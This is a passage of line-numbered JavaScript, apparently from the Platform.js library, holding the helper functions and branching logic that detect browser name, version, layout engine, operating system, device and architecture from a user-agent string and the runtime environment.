  3754.       'Windows Phone',
  3755.       'KaiOS',
  3756.       'Android',
  3757.       'CentOS',
  3758.       { 'label': 'Chrome OS', 'pattern': 'CrOS' },
  3759.       'Debian',
  3760.       { 'label': 'DragonFly BSD', 'pattern': 'DragonFly' },
  3761.       'Fedora',
  3762.       'FreeBSD',
  3763.       'Gentoo',
  3764.       'Haiku',
  3765.       'Kubuntu',
  3766.       'Linux Mint',
  3767.       'OpenBSD',
  3768.       'Red Hat',
  3769.       'SuSE',
  3770.       'Ubuntu',
  3771.       'Xubuntu',
  3772.       'Cygwin',
  3773.       'Symbian OS',
  3774.       'hpwOS',
  3775.       'webOS ',
  3776.       'webOS',
  3777.       'Tablet OS',
  3778.       'Tizen',
  3779.       'Linux',
  3780.       'Mac OS X',
  3781.       'Macintosh',
  3782.       'Mac',
  3783.       'Windows 98;',
  3784.       'Windows '
  3785.     ]);
  3786.  
  3787.     /*------------------------------------------------------------------------*/
  3788.  
  3789.     /**
  3790.      * Picks the layout engine from an array of guesses.
  3791.      *
  3792.      * @private
  3793.      * @param {Array} guesses An array of guesses.
  3794.      * @returns {null|string} The detected layout engine.
  3795.      */
  3796.     function getLayout(guesses) {
  3797.       return reduce(guesses, function(result, guess) {
  3798.         return result || RegExp('\\b' + (
  3799.           guess.pattern || qualify(guess)
  3800.         ) + '\\b', 'i').exec(ua) && (guess.label || guess);
  3801.       });
  3802.     }
  3803.  
  3804.     /**
  3805.      * Picks the manufacturer from an array of guesses.
  3806.      *
  3807.      * @private
  3808.      * @param {Array} guesses An object of guesses.
  3809.      * @returns {null|string} The detected manufacturer.
  3810.      */
  3811.     function getManufacturer(guesses) {
  3812.       return reduce(guesses, function(result, value, key) {
  3813.         // Lookup the manufacturer by product or scan the UA for the manufacturer.
  3814.         return result || (
  3815.           value[product] ||
  3816.           value[/^[a-z]+(?: +[a-z]+\b)*/i.exec(product)] ||
  3817.           RegExp('\\b' + qualify(key) + '(?:\\b|\\w*\\d)', 'i').exec(ua)
  3818.         ) && key;
  3819.       });
  3820.     }
  3821.  
  3822.     /**
  3823.      * Picks the browser name from an array of guesses.
  3824.      *
  3825.      * @private
  3826.      * @param {Array} guesses An array of guesses.
  3827.      * @returns {null|string} The detected browser name.
  3828.      */
  3829.     function getName(guesses) {
  3830.       return reduce(guesses, function(result, guess) {
  3831.         return result || RegExp('\\b' + (
  3832.           guess.pattern || qualify(guess)
  3833.         ) + '\\b', 'i').exec(ua) && (guess.label || guess);
  3834.       });
  3835.     }
  3836.  
  3837.     /**
  3838.      * Picks the OS name from an array of guesses.
  3839.      *
  3840.      * @private
  3841.      * @param {Array} guesses An array of guesses.
  3842.      * @returns {null|string} The detected OS name.
  3843.      */
  3844.     function getOS(guesses) {
  3845.       return reduce(guesses, function(result, guess) {
  3846.         var pattern = guess.pattern || qualify(guess);
  3847.         if (!result && (result =
  3848.               RegExp('\\b' + pattern + '(?:/[\\d.]+|[ \\w.]*)', 'i').exec(ua)
  3849.             )) {
  3850.           result = cleanupOS(result, pattern, guess.label || guess);
  3851.         }
  3852.         return result;
  3853.       });
  3854.     }
  3855.  
  3856.     /**
  3857.      * Picks the product name from an array of guesses.
  3858.      *
  3859.      * @private
  3860.      * @param {Array} guesses An array of guesses.
  3861.      * @returns {null|string} The detected product name.
  3862.      */
  3863.     function getProduct(guesses) {
  3864.       return reduce(guesses, function(result, guess) {
  3865.         var pattern = guess.pattern || qualify(guess);
  3866.         if (!result && (result =
  3867.               RegExp('\\b' + pattern + ' *\\d+[.\\w_]*', 'i').exec(ua) ||
  3868.               RegExp('\\b' + pattern + ' *\\w+-[\\w]*', 'i').exec(ua) ||
  3869.               RegExp('\\b' + pattern + '(?:; *(?:[a-z]+[_-])?[a-z]+\\d+|[^ ();-]*)', 'i').exec(ua)
  3870.             )) {
  3871.           // Split by forward slash and append product version if needed.
  3872.           if ((result = String((guess.label && !RegExp(pattern, 'i').test(guess.label)) ? guess.label : result).split('/'))[1] && !/[\d.]+/.test(result[0])) {
  3873.             result[0] += ' ' + result[1];
  3874.           }
  3875.           // Correct character case and cleanup string.
  3876.           guess = guess.label || guess;
  3877.           result = format(result[0]
  3878.             .replace(RegExp(pattern, 'i'), guess)
  3879.             .replace(RegExp('; *(?:' + guess + '[_-])?', 'i'), ' ')
  3880.             .replace(RegExp('(' + guess + ')[-_.]?(\\w)', 'i'), '$1 $2'));
  3881.         }
  3882.         return result;
  3883.       });
  3884.     }
  3885.  
  3886.     /**
  3887.      * Resolves the version using an array of UA patterns.
  3888.      *
  3889.      * @private
  3890.      * @param {Array} patterns An array of UA patterns.
  3891.      * @returns {null|string} The detected version.
  3892.      */
  3893.     function getVersion(patterns) {
  3894.       return reduce(patterns, function(result, pattern) {
  3895.         return result || (RegExp(pattern +
  3896.           '(?:-[\\d.]+/|(?: for [\\w-]+)?[ /-])([\\d.]+[^ ();/_-]*)', 'i').exec(ua) || 0)[1] || null;
  3897.       });
  3898.     }
  3899.  
  3900.     /**
  3901.      * Returns `platform.description` when the platform object is coerced to a string.
  3902.      *
  3903.      * @name toString
  3904.      * @memberOf platform
  3905.      * @returns {string} Returns `platform.description` if available, else an empty string.
  3906.      */
  3907.     function toStringPlatform() {
  3908.       return this.description || '';
  3909.     }
  3910.  
  3911.     /*------------------------------------------------------------------------*/
  3912.  
  3913.     // Convert layout to an array so we can add extra details.
  3914.     layout && (layout = [layout]);
  3915.  
  3916.     // Detect Android products.
  3917.     // Browsers on Android devices typically provide their product IDS after "Android;"
  3918.     // up to "Build" or ") AppleWebKit".
  3919.     // Example:
  3920.     // "Mozilla/5.0 (Linux; Android 8.1.0; Moto G (5) Plus) AppleWebKit/537.36
  3921.     // (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36"
  3922.     if (/\bAndroid\b/.test(os) && !product &&
  3923.         (data = /\bAndroid[^;]*;(.*?)(?:Build|\) AppleWebKit)\b/i.exec(ua))) {
  3924.       product = trim(data[1])
  3925.         // Replace any language codes (eg. "en-US").
  3926.         .replace(/^[a-z]{2}-[a-z]{2};\s*/i, '')
  3927.         || null;
  3928.     }
  3929.     // Detect product names that contain their manufacturer's name.
  3930.     if (manufacturer && !product) {
  3931.       product = getProduct([manufacturer]);
  3932.     } else if (manufacturer && product) {
  3933.       product = product
  3934.         .replace(RegExp('^(' + qualify(manufacturer) + ')[-_.\\s]', 'i'), manufacturer + ' ')
  3935.         .replace(RegExp('^(' + qualify(manufacturer) + ')[-_.]?(\\w)', 'i'), manufacturer + ' $2');
  3936.     }
  3937.     // Clean up Google TV.
  3938.     if ((data = /\bGoogle TV\b/.exec(product))) {
  3939.       product = data[0];
  3940.     }
  3941.     // Detect simulators.
  3942.     if (/\bSimulator\b/i.test(ua)) {
  3943.       product = (product ? product + ' ' : '') + 'Simulator';
  3944.     }
  3945.     // Detect Opera Mini 8+ running in Turbo/Uncompressed mode on iOS.
  3946.     if (name == 'Opera Mini' && /\bOPiOS\b/.test(ua)) {
  3947.       description.push('running in Turbo/Uncompressed mode');
  3948.     }
  3949.     // Detect IE Mobile 11.
  3950.     if (name == 'IE' && /\blike iPhone OS\b/.test(ua)) {
  3951.       data = parse(ua.replace(/like iPhone OS/, ''));
  3952.       manufacturer = data.manufacturer;
  3953.       product = data.product;
  3954.     }
  3955.     // Detect iOS.
  3956.     else if (/^iP/.test(product)) {
  3957.       name || (name = 'Safari');
  3958.       os = 'iOS' + ((data = / OS ([\d_]+)/i.exec(ua))
  3959.         ? ' ' + data[1].replace(/_/g, '.')
  3960.         : '');
  3961.     }
  3962.     // Detect Kubuntu.
  3963.     else if (name == 'Konqueror' && /^Linux\b/i.test(os)) {
  3964.       os = 'Kubuntu';
  3965.     }
  3966.     // Detect Android browsers.
  3967.     else if ((manufacturer && manufacturer != 'Google' &&
  3968.         ((/Chrome/.test(name) && !/\bMobile Safari\b/i.test(ua)) || /\bVita\b/.test(product))) ||
  3969.         (/\bAndroid\b/.test(os) && /^Chrome/.test(name) && /\bVersion\//i.test(ua))) {
  3970.       name = 'Android Browser';
  3971.       os = /\bAndroid\b/.test(os) ? os : 'Android';
  3972.     }
  3973.     // Detect Silk desktop/accelerated modes.
  3974.     else if (name == 'Silk') {
  3975.       if (!/\bMobi/i.test(ua)) {
  3976.         os = 'Android';
  3977.         description.unshift('desktop mode');
  3978.       }
  3979.       if (/Accelerated *= *true/i.test(ua)) {
  3980.         description.unshift('accelerated');
  3981.       }
  3982.     }
  3983.     // Detect UC Browser speed mode.
  3984.     else if (name == 'UC Browser' && /\bUCWEB\b/.test(ua)) {
  3985.       description.push('speed mode');
  3986.     }
  3987.     // Detect PaleMoon identifying as Firefox.
  3988.     else if (name == 'PaleMoon' && (data = /\bFirefox\/([\d.]+)\b/.exec(ua))) {
  3989.       description.push('identifying as Firefox ' + data[1]);
  3990.     }
  3991.     // Detect Firefox OS and products running Firefox.
  3992.     else if (name == 'Firefox' && (data = /\b(Mobile|Tablet|TV)\b/i.exec(ua))) {
  3993.       os || (os = 'Firefox OS');
  3994.       product || (product = data[1]);
  3995.     }
  3996.     // Detect false positives for Firefox/Safari.
  3997.     else if (!name || (data = !/\bMinefield\b/i.test(ua) && /\b(?:Firefox|Safari)\b/.exec(name))) {
  3998.       // Escape the `/` for Firefox 1.
  3999.       if (name && !product && /[\/,]|^[^(]+?\)/.test(ua.slice(ua.indexOf(data + '/') + 8))) {
  4000.         // Clear name of false positives.
  4001.         name = null;
  4002.       }
  4003.       // Reassign a generic name.
  4004.       if ((data = product || manufacturer || os) &&
  4005.           (product || manufacturer || /\b(?:Android|Symbian OS|Tablet OS|webOS)\b/.test(os))) {
  4006.         name = /[a-z]+(?: Hat)?/i.exec(/\bAndroid\b/.test(os) ? os : data) + ' Browser';
  4007.       }
  4008.     }
  4009.     // Add Chrome version to description for Electron.
  4010.     else if (name == 'Electron' && (data = (/\bChrome\/([\d.]+)\b/.exec(ua) || 0)[1])) {
  4011.       description.push('Chromium ' + data);
  4012.     }
  4013.     // Detect non-Opera (Presto-based) versions (order is important).
  4014.     if (!version) {
  4015.       version = getVersion([
  4016.         '(?:Cloud9|CriOS|CrMo|Edge|Edg|EdgA|EdgiOS|FxiOS|HeadlessChrome|IEMobile|Iron|Opera ?Mini|OPiOS|OPR|Raven|SamsungBrowser|Silk(?!/[\\d.]+$)|UCBrowser|YaBrowser)',
  4017.         'Version',
  4018.         qualify(name),
  4019.         '(?:Firefox|Minefield|NetFront)'
  4020.       ]);
  4021.     }
  4022.     // Detect stubborn layout engines.
  4023.     if ((data =
  4024.           layout == 'iCab' && parseFloat(version) > 3 && 'WebKit' ||
  4025.           /\bOpera\b/.test(name) && (/\bOPR\b/.test(ua) ? 'Blink' : 'Presto') ||
  4026.           /\b(?:Midori|Nook|Safari)\b/i.test(ua) && !/^(?:Trident|EdgeHTML)$/.test(layout) && 'WebKit' ||
  4027.           !layout && /\bMSIE\b/i.test(ua) && (os == 'Mac OS' ? 'Tasman' : 'Trident') ||
  4028.           layout == 'WebKit' && /\bPlayStation\b(?! Vita\b)/i.test(name) && 'NetFront'
  4029.         )) {
  4030.       layout = [data];
  4031.     }
  4032.     // Detect Windows Phone 7 desktop mode.
  4033.     if (name == 'IE' && (data = (/; *(?:XBLWP|ZuneWP)(\d+)/i.exec(ua) || 0)[1])) {
  4034.       name += ' Mobile';
  4035.       os = 'Windows Phone ' + (/\+$/.test(data) ? data : data + '.x');
  4036.       description.unshift('desktop mode');
  4037.     }
  4038.     // Detect Windows Phone 8.x desktop mode.
  4039.     else if (/\bWPDesktop\b/i.test(ua)) {
  4040.       name = 'IE Mobile';
  4041.       os = 'Windows Phone 8.x';
  4042.       description.unshift('desktop mode');
  4043.       version || (version = (/\brv:([\d.]+)/.exec(ua) || 0)[1]);
  4044.     }
  4045.     // Detect IE 11 identifying as other browsers.
  4046.     else if (name != 'IE' && layout == 'Trident' && (data = /\brv:([\d.]+)/.exec(ua))) {
  4047.       if (name) {
  4048.         description.push('identifying as ' + name + (version ? ' ' + version : ''));
  4049.       }
  4050.       name = 'IE';
  4051.       version = data[1];
  4052.     }
  4053.     // Leverage environment features.
  4054.     if (useFeatures) {
  4055.       // Detect server-side environments.
  4056.       // Rhino has a global function while others have a global object.
  4057.       if (isHostType(context, 'global')) {
  4058.         if (java) {
  4059.           data = java.lang.System;
  4060.           arch = data.getProperty('os.arch');
  4061.           os = os || data.getProperty('os.name') + ' ' + data.getProperty('os.version');
  4062.         }
  4063.         if (rhino) {
  4064.           try {
  4065.             version = context.require('ringo/engine').version.join('.');
  4066.             name = 'RingoJS';
  4067.           } catch(e) {
  4068.             if ((data = context.system) && data.global.system == context.system) {
  4069.               name = 'Narwhal';
  4070.               os || (os = data[0].os || null);
  4071.             }
  4072.           }
  4073.           if (!name) {
  4074.             name = 'Rhino';
  4075.           }
  4076.         }
  4077.         else if (
  4078.           typeof context.process == 'object' && !context.process.browser &&
  4079.           (data = context.process)
  4080.         ) {
  4081.           if (typeof data.versions == 'object') {
  4082.             if (typeof data.versions.electron == 'string') {
  4083.               description.push('Node ' + data.versions.node);
  4084.               name = 'Electron';
  4085.               version = data.versions.electron;
  4086.             } else if (typeof data.versions.nw == 'string') {
  4087.               description.push('Chromium ' + version, 'Node ' + data.versions.node);
  4088.               name = 'NW.js';
  4089.               version = data.versions.nw;
  4090.             }
  4091.           }
  4092.           if (!name) {
  4093.             name = 'Node.js';
  4094.             arch = data.arch;
  4095.             os = data.platform;
  4096.             version = /[\d.]+/.exec(data.version);
  4097.             version = version ? version[0] : null;
  4098.           }
  4099.         }
  4100.       }
  4101.       // Detect Adobe AIR.
  4102.       else if (getClassOf((data = context.runtime)) == airRuntimeClass) {
  4103.         name = 'Adobe AIR';
  4104.         os = data.flash.system.Capabilities.os;
  4105.       }
  4106.       // Detect PhantomJS.
  4107.       else if (getClassOf((data = context.phantom)) == phantomClass) {
  4108.         name = 'PhantomJS';
  4109.         version = (data = data.version || null) && (data.major + '.' + data.minor + '.' + data.patch);
  4110.       }
  4111.       // Detect IE compatibility modes.
  4112.       else if (typeof doc.documentMode == 'number' && (data = /\bTrident\/(\d+)/i.exec(ua))) {
  4113.         // We're in compatibility mode when the Trident version + 4 doesn't
  4114.         // equal the document mode.
  4115.         version = [version, doc.documentMode];
  4116.         if ((data = +data[1] + 4) != version[1]) {
  4117.           description.push('IE ' + version[1] + ' mode');
  4118.           layout && (layout[1] = '');
  4119.           version[1] = data;
  4120.         }
  4121.         version = name == 'IE' ? String(version[1].toFixed(1)) : version[0];
  4122.       }
  4123.       // Detect IE 11 masking as other browsers.
  4124.       else if (typeof doc.documentMode == 'number' && /^(?:Chrome|Firefox)\b/.test(name)) {
  4125.         description.push('masking as ' + name + ' ' + version);
  4126.         name = 'IE';
  4127.         version = '11.0';
  4128.         layout = ['Trident'];
  4129.         os = 'Windows';
  4130.       }
  4131.       os = os && format(os);
  4132.     }
  4133.     // Detect prerelease phases.
  4134.     if (version && (data =
  4135.           /(?:[ab]|dp|pre|[ab]\d+pre)(?:\d+\+?)?$/i.exec(version) ||
  4136.           /(?:alpha|beta)(?: ?\d)?/i.exec(ua + ';' + (useFeatures && nav.appMinorVersion)) ||
  4137.           /\bMinefield\b/i.test(ua) && 'a'
  4138.         )) {
  4139.       prerelease = /b/i.test(data) ? 'beta' : 'alpha';
  4140.       version = version.replace(RegExp(data + '\\+?$'), '') +
  4141.         (prerelease == 'beta' ? beta : alpha) + (/\d+\+?/.exec(data) || '');
  4142.     }
  4143.     // Detect Firefox Mobile.
  4144.     if (name == 'Fennec' || name == 'Firefox' && /\b(?:Android|Firefox OS|KaiOS)\b/.test(os)) {
  4145.       name = 'Firefox Mobile';
  4146.     }
  4147.     // Obscure Maxthon's unreliable version.
  4148.     else if (name == 'Maxthon' && version) {
  4149.       version = version.replace(/\.[\d.]+/, '.x');
  4150.     }
  4151.     // Detect Xbox 360 and Xbox One.
  4152.     else if (/\bXbox\b/i.test(product)) {
  4153.       if (product == 'Xbox 360') {
  4154.         os = null;
  4155.       }
  4156.       if (product == 'Xbox 360' && /\bIEMobile\b/.test(ua)) {
  4157.         description.unshift('mobile mode');
  4158.       }
  4159.     }
  4160.     // Add mobile postfix.
  4161.     else if ((/^(?:Chrome|IE|Opera)$/.test(name) || name && !product && !/Browser|Mobi/.test(name)) &&
  4162.         (os == 'Windows CE' || /Mobi/i.test(ua))) {
  4163.       name += ' Mobile';
  4164.     }
  4165.     // Detect IE platform preview.
  4166.     else if (name == 'IE' && useFeatures) {
  4167.       try {
  4168.         if (context.external === null) {
  4169.           description.unshift('platform preview');
  4170.         }
  4171.       } catch(e) {
  4172.         description.unshift('embedded');
  4173.       }
  4174.     }
  4175.     // Detect BlackBerry OS version.
  4176.     // http://docs.blackberry.com/en/developers/deliverables/18169/HTTP_headers_sent_by_BB_Browser_1234911_11.jsp
  4177.     else if ((/\bBlackBerry\b/.test(product) || /\bBB10\b/.test(ua)) && (data =
  4178.           (RegExp(product.replace(/ +/g, ' *') + '/([.\\d]+)', 'i').exec(ua) || 0)[1] ||
  4179.           version
  4180.         )) {
  4181.       data = [data, /BB10/.test(ua)];
  4182.       os = (data[1] ? (product = null, manufacturer = 'BlackBerry') : 'Device Software') + ' ' + data[0];
  4183.       version = null;
  4184.     }
  4185.     // Detect Opera identifying/masking itself as another browser.
  4186.     // http://www.opera.com/support/kb/view/843/
  4187.     else if (this != forOwn && product != 'Wii' && (
  4188.           (useFeatures && opera) ||
  4189.           (/Opera/.test(name) && /\b(?:MSIE|Firefox)\b/i.test(ua)) ||
  4190.           (name == 'Firefox' && /\bOS X (?:\d+\.){2,}/.test(os)) ||
  4191.           (name == 'IE' && (
  4192.             (os && !/^Win/.test(os) && version > 5.5) ||
  4193.             /\bWindows XP\b/.test(os) && version > 8 ||
  4194.             version == 8 && !/\bTrident\b/.test(ua)
  4195.           ))
  4196.         ) && !reOpera.test((data = parse.call(forOwn, ua.replace(reOpera, '') + ';'))) && data.name) {
  4197.       // When "identifying", the UA contains both Opera and the other browser's name.
  4198.       data = 'ing as ' + data.name + ((data = data.version) ? ' ' + data : '');
  4199.       if (reOpera.test(name)) {
  4200.         if (/\bIE\b/.test(data) && os == 'Mac OS') {
  4201.           os = null;
  4202.         }
  4203.         data = 'identify' + data;
  4204.       }
  4205.       // When "masking", the UA contains only the other browser's name.
  4206.       else {
  4207.         data = 'mask' + data;
  4208.         if (operaClass) {
  4209.           name = format(operaClass.replace(/([a-z])([A-Z])/g, '$1 $2'));
  4210.         } else {
  4211.           name = 'Opera';
  4212.         }
  4213.         if (/\bIE\b/.test(data)) {
  4214.           os = null;
  4215.         }
  4216.         if (!useFeatures) {
  4217.           version = null;
  4218.         }
  4219.       }
  4220.       layout = ['Presto'];
  4221.       description.push(data);
  4222.     }
  4223.     // Detect WebKit Nightly and approximate Chrome/Safari versions.
  4224.     if ((data = (/\bAppleWebKit\/([\d.]+\+?)/i.exec(ua) || 0)[1])) {
  4225.       // Correct build number for numeric comparison.
  4226.       // (e.g. "532.5" becomes "532.05")
  4227.       data = [parseFloat(data.replace(/\.(\d)$/, '.0$1')), data];
  4228.       // Nightly builds are postfixed with a "+".
  4229.       if (name == 'Safari' && data[1].slice(-1) == '+') {
  4230.         name = 'WebKit Nightly';
  4231.         prerelease = 'alpha';
  4232.         version = data[1].slice(0, -1);
  4233.       }
  4234.       // Clear incorrect browser versions.
  4235.       else if (version == data[1] ||
  4236.           version == (data[2] = (/\bSafari\/([\d.]+\+?)/i.exec(ua) || 0)[1])) {
  4237.         version = null;
  4238.       }
  4239.       // Use the full Chrome version when available.
  4240.       data[1] = (/\b(?:Headless)?Chrome\/([\d.]+)/i.exec(ua) || 0)[1];
  4241.       // Detect Blink layout engine.
  4242.       if (data[0] == 537.36 && data[2] == 537.36 && parseFloat(data[1]) >= 28 && layout == 'WebKit') {
  4243.         layout = ['Blink'];
  4244.       }
  4245.       // Detect JavaScriptCore.
  4246.       // http://stackoverflow.com/questions/6768474/how-can-i-detect-which-javascript-engine-v8-or-jsc-is-used-at-runtime-in-androi
  4247.       if (!useFeatures || (!likeChrome && !data[1])) {
  4248.         layout && (layout[1] = 'like Safari');
  4249.         data = (data = data[0], data < 400 ? 1 : data < 500 ? 2 : data < 526 ? 3 : data < 533 ? 4 : data < 534 ? '4+' : data < 535 ? 5 : data < 537 ? 6 : data < 538 ? 7 : data < 601 ? 8 : data < 602 ? 9 : data < 604 ? 10 : data < 606 ? 11 : data < 608 ? 12 : '12');
  4250.       } else {
  4251.         layout && (layout[1] = 'like Chrome');
  4252.         data = data[1] || (data = data[0], data < 530 ? 1 : data < 532 ? 2 : data < 532.05 ? 3 : data < 533 ? 4 : data < 534.03 ? 5 : data < 534.07 ? 6 : data < 534.10 ? 7 : data < 534.13 ? 8 : data < 534.16 ? 9 : data < 534.24 ? 10 : data < 534.30 ? 11 : data < 535.01 ? 12 : data < 535.02 ? '13+' : data < 535.07 ? 15 : data < 535.11 ? 16 : data < 535.19 ? 17 : data < 536.05 ? 18 : data < 536.10 ? 19 : data < 537.01 ? 20 : data < 537.11 ? '21+' : data < 537.13 ? 23 : data < 537.18 ? 24 : data < 537.24 ? 25 : data < 537.36 ? 26 : layout != 'Blink' ? '27' : '28');
  4253.       }
  4254.       // Add the postfix of ".x" or "+" for approximate versions.
  4255.       layout && (layout[1] += ' ' + (data += typeof data == 'number' ? '.x' : /[.+]/.test(data) ? '' : '+'));
  4256.       // Obscure version for some Safari 1-2 releases.
  4257.       if (name == 'Safari' && (!version || parseInt(version) > 45)) {
  4258.         version = data;
  4259.       } else if (name == 'Chrome' && /\bHeadlessChrome/i.test(ua)) {
  4260.         description.unshift('headless');
  4261.       }
  4262.     }
  4263.     // Detect Opera desktop modes.
  4264.     if (name == 'Opera' &&  (data = /\bzbov|zvav$/.exec(os))) {
  4265.       name += ' ';
  4266.       description.unshift('desktop mode');
  4267.       if (data == 'zvav') {
  4268.         name += 'Mini';
  4269.         version = null;
  4270.       } else {
  4271.         name += 'Mobile';
  4272.       }
  4273.       os = os.replace(RegExp(' *' + data + '$'), '');
  4274.     }
  4275.     // Detect Chrome desktop mode.
  4276.     else if (name == 'Safari' && /\bChrome\b/.exec(layout && layout[1])) {
  4277.       description.unshift('desktop mode');
  4278.       name = 'Chrome Mobile';
  4279.       version = null;
  4280.  
  4281.       if (/\bOS X\b/.test(os)) {
  4282.         manufacturer = 'Apple';
  4283.         os = 'iOS 4.3+';
  4284.       } else {
  4285.         os = null;
  4286.       }
  4287.     }
  4288.     // Newer versions of SRWare Iron uses the Chrome tag to indicate its version number.
  4289.     else if (/\bSRWare Iron\b/.test(name) && !version) {
  4290.       version = getVersion('Chrome');
  4291.     }
  4292.     // Strip incorrect OS versions.
  4293.     if (version && version.indexOf((data = /[\d.]+$/.exec(os))) == 0 &&
  4294.         ua.indexOf('/' + data + '-') > -1) {
  4295.       os = trim(os.replace(data, ''));
  4296.     }
  4297.     // Ensure OS does not include the browser name.
  4298.     if (os && os.indexOf(name) != -1 && !RegExp(name + ' OS').test(os)) {
  4299.       os = os.replace(RegExp(' *' + qualify(name) + ' *'), '');
  4300.     }
  4301.     // Add layout engine.
  4302.     if (layout && !/\b(?:Avant|Nook)\b/.test(name) && (
  4303.         /Browser|Lunascape|Maxthon/.test(name) ||
  4304.         name != 'Safari' && /^iOS/.test(os) && /\bSafari\b/.test(layout[1]) ||
  4305.         /^(?:Adobe|Arora|Breach|Midori|Opera|Phantom|Rekonq|Rock|Samsung Internet|Sleipnir|SRWare Iron|Vivaldi|Web)/.test(name) && layout[1])) {
  4306.       // Don't add layout details to description if they are falsey.
  4307.       (data = layout[layout.length - 1]) && description.push(data);
  4308.     }
  4309.     // Combine contextual information.
  4310.     if (description.length) {
  4311.       description = ['(' + description.join('; ') + ')'];
  4312.     }
  4313.     // Append manufacturer to description.
  4314.     if (manufacturer && product && product.indexOf(manufacturer) < 0) {
  4315.       description.push('on ' + manufacturer);
  4316.     }
  4317.     // Append product to description.
  4318.     if (product) {
  4319.       description.push((/^on /.test(description[description.length - 1]) ? '' : 'on ') + product);
  4320.     }
  4321.     // Parse the OS into an object.
  4322.     if (os) {
  4323.       data = / ([\d.+]+)$/.exec(os);
  4324.       isSpecialCasedOS = data && os.charAt(os.length - data[0].length - 1) == '/';
  4325.       os = {
  4326.         'architecture': 32,
  4327.         'family': (data && !isSpecialCasedOS) ? os.replace(data[0], '') : os,
  4328.         'version': data ? data[1] : null,
  4329.         'toString': function() {
  4330.           var version = this.version;
  4331.           return this.family + ((version && !isSpecialCasedOS) ? ' ' + version : '') + (this.architecture == 64 ? ' 64-bit' : '');
  4332.         }
  4333.       };
  4334.     }
  4335.     // Add browser/OS architecture.
  4336.     if ((data = /\b(?:AMD|IA|Win|WOW|x86_|x)64\b/i.exec(arch)) && !/\bi686\b/i.test(arch)) {
  4337.       if (os) {
  4338.         os.architecture = 64;
  4339.         os.family = os.family.replace(RegExp(' *' + data), '');
  4340.       }
  4341.       if (
  4342.           name && (/\bWOW64\b/i.test(ua) ||
  4343.           (useFeatures && /\w(?:86|32)$/.test(nav.cpuClass || nav.platform) && !/\bWin64; x64\b/i.test(ua)))
  4344.       ) {
  4345.         description.unshift('32-bit');
  4346.       }
  4347.     }
  4348.     // Chrome 39 and above on OS X is always 64-bit.
  4349.     else if (
  4350.         os && /^OS X/.test(os.family) &&
  4351.         name == 'Chrome' && parseFloat(version) >= 39
  4352.     ) {
  4353.       os.architecture = 64;
  4354.     }
  4355.  
  4356.     ua || (ua = null);
  4357.  
  4358.     /*------------------------------------------------------------------------*/
  4359.  
  4360.     /**
  4361.      * The platform object.
  4362.      *
  4363.      * @name platform
  4364.      * @type Object
  4365.      */
  4366.     var platform = {};
  4367.  
  4368.     /**
  4369.      * The platform description.
  4370.      *
  4371.      * @memberOf platform
  4372.      * @type string|null
  4373.      */
  4374.     platform.description = ua;
  4375.  
  4376.     /**
  4377.      * The name of the browser's layout engine.
  4378.      *
  4379.      * The list of common layout engines include:
  4380.      * "Blink", "EdgeHTML", "Gecko", "Trident" and "WebKit"
  4381.      *
  4382.      * @memberOf platform
  4383.      * @type string|null
  4384.      */
  4385.     platform.layout = layout && layout[0];
  4386.  
  4387.     /**
  4388.      * The name of the product's manufacturer.
  4389.      *
  4390.      * The list of manufacturers include:
  4391.      * "Apple", "Archos", "Amazon", "Asus", "Barnes & Noble", "BlackBerry",
  4392.      * "Google", "HP", "HTC", "LG", "Microsoft", "Motorola", "Nintendo",
  4393.      * "Nokia", "Samsung" and "Sony"
  4394.      *
  4395.      * @memberOf platform
  4396.      * @type string|null
  4397.      */
  4398.     platform.manufacturer = manufacturer;
  4399.  
  4400.     /**
  4401.      * The name of the browser/environment.
  4402.      *
  4403.      * The list of common browser names include:
  4404.      * "Chrome", "Electron", "Firefox", "Firefox for iOS", "IE",
  4405.      * "Microsoft Edge", "PhantomJS", "Safari", "SeaMonkey", "Silk",
  4406.      * "Opera Mini" and "Opera"
  4407.      *
  4408.      * Mobile versions of some browsers have "Mobile" appended to their name:
  4409.      * eg. "Chrome Mobile", "Firefox Mobile", "IE Mobile" and "Opera Mobile"
  4410.      *
  4411.      * @memberOf platform
  4412.      * @type string|null
  4413.      */
  4414.     platform.name = name;
  4415.  
  4416.     /**
  4417.      * The alpha/beta release indicator.
  4418.      *
  4419.      * @memberOf platform
  4420.      * @type string|null
  4421.      */
  4422.     platform.prerelease = prerelease;
  4423.  
  4424.     /**
  4425.      * The name of the product hosting the browser.
  4426.      *
  4427.      * The list of common products include:
  4428.      *
  4429.      * "BlackBerry", "Galaxy S4", "Lumia", "iPad", "iPod", "iPhone", "Kindle",
  4430.      * "Kindle Fire", "Nexus", "Nook", "PlayBook", "TouchPad" and "Transformer"
  4431.      *
  4432.      * @memberOf platform
  4433.      * @type string|null
  4434.      */
  4435.     platform.product = product;
  4436.  
  4437.     /**
  4438.      * The browser's user agent string.
  4439.      *
  4440.      * @memberOf platform
  4441.      * @type string|null
  4442.      */
  4443.     platform.ua = ua;
  4444.  
  4445.     /**
  4446.      * The browser/environment version.
  4447.      *
  4448.      * @memberOf platform
  4449.      * @type string|null
  4450.      */
  4451.     platform.version = name && version;
  4452.  
  4453.     /**
  4454.      * The name of the operating system.
  4455.      *
  4456.      * @memberOf platform
  4457.      * @type Object
  4458.      */
  4459.     platform.os = os || {
  4460.  
  4461.       /**
  4462.        * The CPU architecture the OS is built for.
  4463.        *
  4464.        * @memberOf platform.os
  4465.        * @type number|null
  4466.        */
  4467.       'architecture': null,
  4468.  
  4469.       /**
  4470.        * The family of the OS.
  4471.        *
  4472.        * Common values include:
  4473.        * "Windows", "Windows Server 2008 R2 / 7", "Windows Server 2008 / Vista",
  4474.        * "Windows XP", "OS X", "Linux", "Ubuntu", "Debian", "Fedora", "Red Hat",
  4475.        * "SuSE", "Android", "iOS" and "Windows Phone"
  4476.        *
  4477.        * @memberOf platform.os
  4478.        * @type string|null
  4479.        */
  4480.       'family': null,
  4481.  
  4482.       /**
  4483.        * The version of the OS.
  4484.        *
  4485.        * @memberOf platform.os
  4486.        * @type string|null
  4487.        */
  4488.       'version': null,
  4489.  
  4490.       /**
  4491.        * Returns the OS string.
  4492.        *
  4493.        * @memberOf platform.os
  4494.        * @returns {string} The OS string.
  4495.        */
  4496.       'toString': function() { return 'null'; }
  4497.     };
  4498.  
  4499.     platform.parse = parse;
  4500.     platform.toString = toStringPlatform;
  4501.  
  4502.     if (platform.version) {
  4503.       description.unshift(version);
  4504.     }
  4505.     if (platform.name) {
  4506.       description.unshift(name);
  4507.     }
  4508.     if (os && name && !(os == String(os).split(' ')[0] && (os == name.split(' ')[0] || product))) {
  4509.       description.push(product ? '(' + os + ')' : 'on ' + os);
